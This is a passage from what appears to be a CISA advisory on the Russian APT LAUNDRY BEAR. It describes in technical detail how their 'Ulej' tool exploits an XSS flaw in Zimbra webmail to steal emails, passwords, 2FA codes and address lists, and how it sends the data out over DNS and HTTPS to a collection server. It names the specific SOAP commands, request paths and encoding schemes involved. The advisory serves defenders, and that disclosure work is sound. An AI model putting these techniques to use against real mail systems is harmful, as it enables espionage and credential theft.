<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
